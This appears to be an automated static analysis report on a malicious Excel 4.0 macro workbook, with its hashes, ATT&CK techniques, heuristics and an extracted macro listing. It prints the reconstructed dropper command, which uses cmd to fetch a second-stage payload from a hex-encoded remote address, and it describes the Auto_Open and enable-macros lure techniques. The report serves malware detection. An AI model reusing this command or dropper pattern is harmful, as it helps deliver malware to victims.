Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 fe7d97710899d839…

MALICIOUS

Office (OLE) / .XLS

64.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 3a4212755d4bef6a31bc3a574bac3f9c SHA-1: 77c4aa8237046314be0c658eb77330bc8278bfea SHA-256: fe7d97710899d83959273f33336f45fa002c7d33668ce07d1a4ac1e9f458a4f2
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro sheet that uses an Auto_Open entry to execute a command. The macro reconstructs the command 'cmd /c msh a http://0xc12a24f5/cc.html', indicating it will download a second-stage payload from the specified URL. The document body also contains a lure to enable macros and editing, which is a common technique for malware delivery.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes